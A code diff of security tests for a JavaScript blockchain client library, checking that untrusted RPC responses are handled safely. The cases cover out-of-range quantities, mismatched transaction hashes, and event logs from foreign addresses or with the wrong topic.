logSuite("Security:
|
|
220
|
+
describe("Security: _hexToBigInt handles '0x'", () => {
|
|
221
|
+
logSuite("Security: _hexToBigInt handles '0x'");
|
|
223
222
|
|
|
224
223
|
it("getBalance does not crash on '0x' response", async () => {
|
|
225
224
|
logTest("getBalance does not crash on '0x' response", {});
|
|
@@ -227,8 +226,8 @@ describe("Security: M7 - _hexToBigInt handles '0x'", () => {
|
|
|
227
226
|
});
|
|
228
227
|
});
|
|
229
228
|
|
|
230
|
-
describe("Security:
|
|
231
|
-
logSuite("Security:
|
|
229
|
+
describe("Security: RLP depth limit", () => {
|
|
230
|
+
logSuite("Security: RLP depth limit");
|
|
232
231
|
|
|
233
232
|
it("rejects deeply nested RLP (depth > 64)", () => {
|
|
234
233
|
logTest("rejects deeply nested RLP (depth > 64)", {});
|
|
@@ -248,8 +247,8 @@ describe("Security: L3 - RLP depth limit", () => {
|
|
|
248
247
|
});
|
|
249
248
|
});
|
|
250
249
|
|
|
251
|
-
describe("Security:
|
|
252
|
-
logSuite("Security:
|
|
250
|
+
describe("Security: Seed phrase with invalid words", () => {
|
|
251
|
+
logSuite("Security: Seed phrase with invalid words");
|
|
253
252
|
|
|
254
253
|
it("rejects gibberish words of correct count", async () => {
|
|
255
254
|
logTest("rejects gibberish words of correct count", {});
|
|
@@ -269,8 +268,8 @@ describe("Security: M2 - Seed phrase with invalid words", () => {
|
|
|
269
268
|
});
|
|
270
269
|
});
|
|
271
270
|
|
|
272
|
-
describe("Security:
|
|
273
|
-
logSuite("Security:
|
|
271
|
+
describe("Security: Keccak-256 test vectors", () => {
|
|
272
|
+
logSuite("Security: Keccak-256 test vectors");
|
|
274
273
|
|
|
275
274
|
it("keccak256 of empty bytes matches known digest", async () => {
|
|
276
275
|
logTest("keccak256 of empty bytes matches known digest", {});
|
|
@@ -293,8 +292,8 @@ describe("Security: L6 - Keccak-256 test vectors", () => {
|
|
|
293
292
|
});
|
|
294
293
|
});
|
|
295
294
|
|
|
296
|
-
describe("Security:
|
|
297
|
-
logSuite("Security:
|
|
295
|
+
describe("Security: BigInt in provider params", () => {
|
|
296
|
+
logSuite("Security: BigInt in provider params");
|
|
298
297
|
|
|
299
298
|
it("JsonRpcProvider serializes BigInt params without crashing", async (t) => {
|
|
300
299
|
logTest("JsonRpcProvider serializes BigInt params without crashing", {});
|
|
@@ -318,8 +317,8 @@ describe("Security: H5 - BigInt in provider params", () => {
|
|
|
318
317
|
});
|
|
319
318
|
});
|
|
320
319
|
|
|
321
|
-
describe("Security:
|
|
322
|
-
logSuite("Security:
|
|
320
|
+
describe("Security: Per-instance RPC IDs", () => {
|
|
321
|
+
logSuite("Security: Per-instance RPC IDs");
|
|
323
322
|
|
|
324
323
|
it("different provider instances have independent ID counters", () => {
|
|
325
324
|
logTest("different provider instances have independent ID counters", {});
|
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @testCategory security
|
|
3
|
+
* @blockchainRequired false
|
|
4
|
+
* @transactional false
|
|
5
|
+
* @description RPC quantities are untrusted. A value above
|
|
6
|
+
* Number.MAX_SAFE_INTEGER must fail loudly instead of being silently
|
|
7
|
+
* truncated by Number(BigInt(...)). The decoder keeps returning a
|
|
8
|
+
* `number` (no signature change); only out-of-range values throw.
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const { describe, it } = require("node:test");
|
|
12
|
+
const assert = require("node:assert/strict");
|
|
13
|
+
|
|
14
|
+
const { Initialize } = require("../../config");
|
|
15
|
+
const qc = require("../../index");
|
|
16
|
+
const { logSuite, logTest } = require("../verbose-logger");
|
|
17
|
+
|
|
18
|
+
// 2^53 = 9007199254740992 = one past Number.MAX_SAFE_INTEGER.
|
|
19
|
+
const UNSAFE_HEX = "0x20000000000000";
|
|
20
|
+
const TX_HASH = "0x" + "aa".repeat(32);
|
|
21
|
+
|
|
22
|
+
class NumProvider extends qc.AbstractProvider {
|
|
23
|
+
constructor(map) {
|
|
24
|
+
super();
|
|
25
|
+
this._map = map;
|
|
26
|
+
}
|
|
27
|
+
async _perform(method) {
|
|
28
|
+
return Object.prototype.hasOwnProperty.call(this._map, method) ? this._map[method] : null;
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
describe("Security: untrusted RPC quantity bounds", () => {
|
|
33
|
+
logSuite("Security: untrusted RPC quantity bounds");
|
|
34
|
+
|
|
35
|
+
it("getBlockNumber throws for a value above MAX_SAFE_INTEGER (negative)", async () => {
|
|
36
|
+
logTest("getBlockNumber rejects an out-of-range quantity", {});
|
|
37
|
+
await Initialize(null);
|
|
38
|
+
const p = new NumProvider({ eth_blockNumber: UNSAFE_HEX });
|
|
39
|
+
await assert.rejects(() => p.getBlockNumber(), /safe integer range/i);
|
|
40
|
+
});
|
|
41
|
+
|
|
42
|
+
it("getBlock throws when block.number exceeds MAX_SAFE_INTEGER (negative)", async () => {
|
|
43
|
+
logTest("getBlock rejects an out-of-range block number", {});
|
|
44
|
+
await Initialize(null);
|
|
45
|
+
const p = new NumProvider({
|
|
46
|
+
eth_getBlockByNumber: { hash: "0x" + "11".repeat(32), number: UNSAFE_HEX, timestamp: "0x1", transactions: [] },
|
|
47
|
+
});
|
|
48
|
+
await assert.rejects(() => p.getBlock("latest"), /safe integer range/i);
|
|
49
|
+
});
|
|
50
|
+
|
|
51
|
+
it("getTransactionReceipt throws when a quantity exceeds MAX_SAFE_INTEGER (negative)", async () => {
|
|
52
|
+
logTest("getTransactionReceipt rejects an out-of-range quantity", {});
|
|
53
|
+
await Initialize(null);
|
|
54
|
+
const p = new NumProvider({
|
|
55
|
+
eth_getTransactionReceipt: { transactionHash: TX_HASH, blockNumber: UNSAFE_HEX, status: "0x1" },
|
|
56
|
+
});
|
|
57
|
+
await assert.rejects(() => p.getTransactionReceipt(TX_HASH), /safe integer range/i);
|
|
58
|
+
});
|
|
59
|
+
|
|
60
|
+
it("decodes normal in-range quantities to the correct number (positive)", async () => {
|
|
61
|
+
logTest("decodes in-range quantities correctly", {});
|
|
62
|
+
await Initialize(null);
|
|
63
|
+
const p = new NumProvider({
|
|
64
|
+
eth_blockNumber: "0x10",
|
|
65
|
+
eth_getTransactionReceipt: {
|
|
66
|
+
transactionHash: TX_HASH,
|
|
67
|
+
blockNumber: "0x5",
|
|
68
|
+
transactionIndex: "0x0",
|
|
69
|
+
status: "0x1",
|
|
70
|
+
},
|
|
71
|
+
});
|
|
72
|
+
const bn = await p.getBlockNumber();
|
|
73
|
+
assert.equal(bn, 16);
|
|
74
|
+
assert.equal(typeof bn, "number");
|
|
75
|
+
|
|
76
|
+
const receipt = await p.getTransactionReceipt(TX_HASH);
|
|
77
|
+
assert.equal(receipt.blockNumber, 5);
|
|
78
|
+
assert.equal(typeof receipt.blockNumber, "number");
|
|
79
|
+
assert.equal(receipt.status, 1);
|
|
80
|
+
});
|
|
81
|
+
});
|
|
@@ -0,0 +1,202 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @testCategory security
|
|
3
|
+
* @blockchainRequired false
|
|
4
|
+
* @transactional false
|
|
5
|
+
* @description Do not trust the RPC node. A broadcast must be rejected if
|
|
6
|
+
* the node returns a transaction hash different from the one we
|
|
7
|
+
* signed, and event logs from foreign contract addresses must be
|
|
8
|
+
* dropped from getLogs results.
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const { describe, it } = require("node:test");
|
|
12
|
+
const assert = require("node:assert/strict");
|
|
13
|
+
|
|
14
|
+
const { Initialize } = require("../../config");
|
|
15
|
+
const qc = require("../../index");
|
|
16
|
+
const { logSuite, logTest } = require("../verbose-logger");
|
|
17
|
+
|
|
18
|
+
const SIGNED_HASH = "0x" + "aa".repeat(32);
|
|
19
|
+
|
|
20
|
+
class SendProvider extends qc.AbstractProvider {
|
|
21
|
+
constructor(returnedHash) {
|
|
22
|
+
super();
|
|
23
|
+
this._returnedHash = returnedHash;
|
|
24
|
+
}
|
|
25
|
+
async _perform(method) {
|
|
26
|
+
if (method === "eth_sendRawTransaction") return this._returnedHash;
|
|
27
|
+
if (method === "eth_getTransactionByHash") return { hash: this._returnedHash };
|
|
28
|
+
return null;
|
|
29
|
+
}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
describe("Security: RPC broadcast hash verification", () => {
|
|
33
|
+
logSuite("Security: RPC broadcast hash verification");
|
|
34
|
+
|
|
35
|
+
it("throws when the node returns a different hash than the signed tx (negative)", async () => {
|
|
36
|
+
logTest("throws when the node returns a different hash than the signed tx", {});
|
|
37
|
+
await Initialize(null);
|
|
38
|
+
const p = new SendProvider("0x" + "bb".repeat(32));
|
|
39
|
+
await assert.rejects(
|
|
40
|
+
() => p.sendTransaction("0xrawsigned", { expectedHash: SIGNED_HASH }),
|
|
41
|
+
/does not match the signed transaction/i,
|
|
42
|
+
);
|
|
43
|
+
});
|
|
44
|
+
|
|
45
|
+
it("returns the response when the node hash matches (positive, case-insensitive)", async () => {
|
|
46
|
+
logTest("returns the response when the node hash matches", {});
|
|
47
|
+
await Initialize(null);
|
|
48
|
+
const p = new SendProvider(SIGNED_HASH);
|
|
49
|
+
const resp = await p.sendTransaction("0xrawsigned", { expectedHash: SIGNED_HASH.toUpperCase() });
|
|
50
|
+
assert.ok(resp && typeof resp.hash === "string");
|
|
51
|
+
assert.equal(resp.hash.toLowerCase(), SIGNED_HASH);
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
it("without expectedHash, sendTransaction stays backward compatible", async () => {
|
|
55
|
+
logTest("without expectedHash, sendTransaction stays backward compatible", {});
|
|
56
|
+
await Initialize(null);
|
|
57
|
+
const p = new SendProvider(SIGNED_HASH);
|
|
58
|
+
const resp = await p.sendTransaction("0xrawsigned");
|
|
59
|
+
assert.equal(resp.hash, SIGNED_HASH);
|
|
60
|
+
});
|
|
61
|
+
});
|
|
62
|
+
|
|
63
|
+
class LogProvider extends qc.AbstractProvider {
|
|
64
|
+
constructor(logs) {
|
|
65
|
+
super();
|
|
66
|
+
this._logs = logs;
|
|
67
|
+
}
|
|
68
|
+
async _perform(method) {
|
|
69
|
+
if (method === "eth_getLogs") return this._logs;
|
|
70
|
+
return null;
|
|
71
|
+
}
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
describe("Security: event-log provenance", () => {
|
|
75
|
+
logSuite("Security: event-log provenance");
|
|
76
|
+
|
|
77
|
+
it("drops logs whose address does not match the filter (negative) and keeps matching ones (positive)", async () => {
|
|
78
|
+
logTest("drops foreign-address logs and keeps matching ones", {});
|
|
79
|
+
await Initialize(null);
|
|
80
|
+
const target = "0x" + "11".repeat(32);
|
|
81
|
+
const foreign = "0x" + "99".repeat(32);
|
|
82
|
+
const p = new LogProvider([
|
|
83
|
+
{ address: target, topics: [], data: "0x", blockNumber: "0x1" },
|
|
84
|
+
{ address: foreign, topics: [], data: "0x", blockNumber: "0x1" },
|
|
85
|
+
{ address: target.toUpperCase(), topics: [], data: "0x", blockNumber: "0x1" },
|
|
86
|
+
]);
|
|
87
|
+
|
|
88
|
+
const logs = await p.getLogs({ address: target });
|
|
89
|
+
assert.equal(logs.length, 2, "only logs from the requested address survive");
|
|
90
|
+
for (const l of logs) {
|
|
91
|
+
assert.equal(l.address.toLowerCase(), target.toLowerCase());
|
|
92
|
+
}
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
it("returns all logs when no address filter is given (positive)", async () => {
|
|
96
|
+
logTest("returns all logs when no address filter is given", {});
|
|
97
|
+
await Initialize(null);
|
|
98
|
+
const p = new LogProvider([
|
|
99
|
+
{ address: "0x" + "11".repeat(32), topics: [], data: "0x" },
|
|
100
|
+
{ address: "0x" + "99".repeat(32), topics: [], data: "0x" },
|
|
101
|
+
]);
|
|
102
|
+
const logs = await p.getLogs({ fromBlock: 0 });
|
|
103
|
+
assert.equal(logs.length, 2);
|
|
104
|
+
});
|
|
105
|
+
});
|
|
106
|
+
|
|
107
|
+
const AA = "0x" + "aa".repeat(32);
|
|
108
|
+
const BB = "0x" + "bb".repeat(32);
|
|
109
|
+
|
|
110
|
+
class HashProvider extends qc.AbstractProvider {
|
|
111
|
+
constructor(obj) {
|
|
112
|
+
super();
|
|
113
|
+
this._obj = obj;
|
|
114
|
+
}
|
|
115
|
+
async _perform(method) {
|
|
116
|
+
if (method === "eth_getTransactionByHash") return this._obj;
|
|
117
|
+
if (method === "eth_getTransactionReceipt") return this._obj;
|
|
118
|
+
return null;
|
|
119
|
+
}
|
|
120
|
+
}
|
|
121
|
+
|
|
122
|
+
describe("Security: read-back / confirmation hash verification", () => {
|
|
123
|
+
logSuite("Security: read-back / confirmation hash verification");
|
|
124
|
+
|
|
125
|
+
it("getTransaction throws when the returned hash differs from the requested hash (negative)", async () => {
|
|
126
|
+
logTest("getTransaction rejects a mismatched returned hash", {});
|
|
127
|
+
await Initialize(null);
|
|
128
|
+
const p = new HashProvider({ hash: BB });
|
|
129
|
+
await assert.rejects(() => p.getTransaction(AA), /does not match the requested hash/i);
|
|
130
|
+
});
|
|
131
|
+
|
|
132
|
+
it("getTransaction returns the response when the hash matches (positive)", async () => {
|
|
133
|
+
logTest("getTransaction accepts a matching hash", {});
|
|
134
|
+
await Initialize(null);
|
|
135
|
+
const p = new HashProvider({ hash: AA });
|
|
136
|
+
const tx = await p.getTransaction(AA);
|
|
137
|
+
assert.equal(tx.hash, AA);
|
|
138
|
+
});
|
|
139
|
+
|
|
140
|
+
it("getTransactionReceipt throws when transactionHash differs (negative)", async () => {
|
|
141
|
+
logTest("getTransactionReceipt rejects a mismatched receipt", {});
|
|
142
|
+
await Initialize(null);
|
|
143
|
+
const p = new HashProvider({ transactionHash: BB, blockNumber: "0x1" });
|
|
144
|
+
await assert.rejects(() => p.getTransactionReceipt(AA), /does not match the requested hash/i);
|
|
145
|
+
});
|
|
146
|
+
|
|
147
|
+
it("wait() rejects when the node returns a receipt for a different tx (negative)", async () => {
|
|
148
|
+
logTest("wait() rejects a mismatched receipt", {});
|
|
149
|
+
await Initialize(null);
|
|
150
|
+
const p = new HashProvider({ transactionHash: BB, blockNumber: "0x1" });
|
|
151
|
+
const resp = new qc.TransactionResponse({ hash: AA }, p);
|
|
152
|
+
await assert.rejects(() => resp.wait(1, 5000), /does not match the requested hash/i);
|
|
153
|
+
});
|
|
154
|
+
});
|
|
155
|
+
|
|
156
|
+
describe("Security: event-log topic binding", () => {
|
|
157
|
+
logSuite("Security: event-log topic binding");
|
|
158
|
+
|
|
159
|
+
const eventAbi = [
|
|
160
|
+
{
|
|
161
|
+
type: "event",
|
|
162
|
+
name: "Transfer",
|
|
163
|
+
anonymous: false,
|
|
164
|
+
inputs: [
|
|
165
|
+
{ name: "from", type: "address", indexed: true },
|
|
166
|
+
{ name: "to", type: "address", indexed: true },
|
|
167
|
+
{ name: "value", type: "uint256", indexed: false },
|
|
168
|
+
],
|
|
169
|
+
},
|
|
170
|
+
];
|
|
171
|
+
|
|
172
|
+
it("getLogs drops logs whose topic0 does not match the requested topic (negative+positive)", async () => {
|
|
173
|
+
logTest("getLogs filters by topic0", {});
|
|
174
|
+
await Initialize(null);
|
|
175
|
+
const addr = "0x" + "11".repeat(32);
|
|
176
|
+
const wanted = "0x" + "cc".repeat(32);
|
|
177
|
+
const other = "0x" + "dd".repeat(32);
|
|
178
|
+
const p = new LogProvider([
|
|
179
|
+
{ address: addr, topics: [wanted], data: "0x", blockNumber: "0x1" },
|
|
180
|
+
{ address: addr, topics: [other], data: "0x", blockNumber: "0x1" },
|
|
181
|
+
]);
|
|
182
|
+
const logs = await p.getLogs({ address: addr, topics: [wanted] });
|
|
183
|
+
assert.equal(logs.length, 1);
|
|
184
|
+
assert.equal(logs[0].topics[0], wanted);
|
|
185
|
+
});
|
|
186
|
+
|
|
187
|
+
it("queryFilter only returns logs matching the event's topic0 (negative+positive)", async () => {
|
|
188
|
+
logTest("queryFilter binds results to the event topic", {});
|
|
189
|
+
await Initialize(null);
|
|
190
|
+
const addr = "0x" + "11".repeat(32);
|
|
191
|
+
const topic0 = new qc.Interface(eventAbi).getEventTopic("Transfer");
|
|
192
|
+
const wrong = "0x" + "ee".repeat(32);
|
|
193
|
+
const p = new LogProvider([
|
|
194
|
+
{ address: addr, topics: [topic0], data: "0x", blockNumber: "0x1" },
|
|
195
|
+
{ address: addr, topics: [wrong], data: "0x", blockNumber: "0x1" },
|
|
196
|
+
]);
|
|
197
|
+
const contract = new qc.Contract(addr, eventAbi, p);
|
|
198
|
+
const events = await contract.queryFilter("Transfer", 0, "latest");
|
|
199
|
+
assert.equal(events.length, 1, "only the matching-topic log survives");
|
|
200
|
+
assert.equal(events[0].topics[0], topic0);
|
|
201
|
+
});
|
|
202
|
+
});
|
|
@@ -87,11 +87,18 @@
|
|
|
87
87
|
const iface = new qc.Interface([]);
|
|
88
88
|
assert.throws(() => iface.parseTransaction(), (e) => e && e.code === "NOT_IMPLEMENTED");
|
|
89
89
|
assert.throws(() => iface.parseError(), (e) => e && e.code === "NOT_IMPLEMENTED");
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
90
|
+
assert.throws(() => iface.getSighash(), (e) => e && e.code === "NOT_IMPLEMENTED");
|
|
91
|
+
assert.equal(iface.getFallback(), null);
|
|
92
|
+
assert.equal(iface.getReceive(), null);
|
|
93
|
+
});
|
|
94
|
+
|
|
95
|
+
it("getEventTopic returns the event signature hash", () => {
|
|
96
|
+
const iface = new qc.Interface([
|
|
97
|
+
{ type: "event", name: "E", anonymous: false, inputs: [{ name: "x", type: "uint256", indexed: false }] },
|
|
98
|
+
]);
|
|
99
|
+
assert.match(iface.getEventTopic("E"), /^0x[0-9a-f]{64}$/);
|
|
100
|
+
assert.throws(() => iface.getEventTopic("Nope"), (e) => e && e.code === "INVALID_ARGUMENT");
|
|
101
|
+
});
|
|
95
102
|
});
|
|
96
103
|
|
|
97
104
|
describe("AbiCoder", () => {
|
|
@@ -88,10 +88,17 @@ describe("Interface", () => {
|
|
|
88
88
|
assert.throws(() => iface.parseTransaction(), (e: Error & { code?: string }) => e && e.code === "NOT_IMPLEMENTED");
|
|
89
89
|
assert.throws(() => iface.parseError(), (e: Error & { code?: string }) => e && e.code === "NOT_IMPLEMENTED");
|
|
90
90
|
assert.throws(() => iface.getSighash(), (e: Error & { code?: string }) => e && e.code === "NOT_IMPLEMENTED");
|
|
91
|
-
assert.throws(() => iface.getEventTopic(), (e: Error & { code?: string }) => e && e.code === "NOT_IMPLEMENTED");
|
|
92
91
|
assert.equal(iface.getFallback(), null);
|
|
93
92
|
assert.equal(iface.getReceive(), null);
|
|
94
93
|
});
|
|
94
|
+
|
|
95
|
+
it("getEventTopic returns the event signature hash", () => {
|
|
96
|
+
const iface = new qc.Interface([
|
|
97
|
+
{ type: "event", name: "E", anonymous: false, inputs: [{ name: "x", type: "uint256", indexed: false }] },
|
|
98
|
+
]);
|
|
99
|
+
assert.match(iface.getEventTopic("E"), /^0x[0-9a-f]{64}$/);
|
|
100
|
+
assert.throws(() => iface.getEventTopic("Nope"), (e: Error & { code?: string }) => e && e.code === "INVALID_ARGUMENT");
|
|
101
|
+
});
|
|
95
102
|
});
|
|
96
103
|
|
|
97
104
|
describe("AbiCoder", () => {
|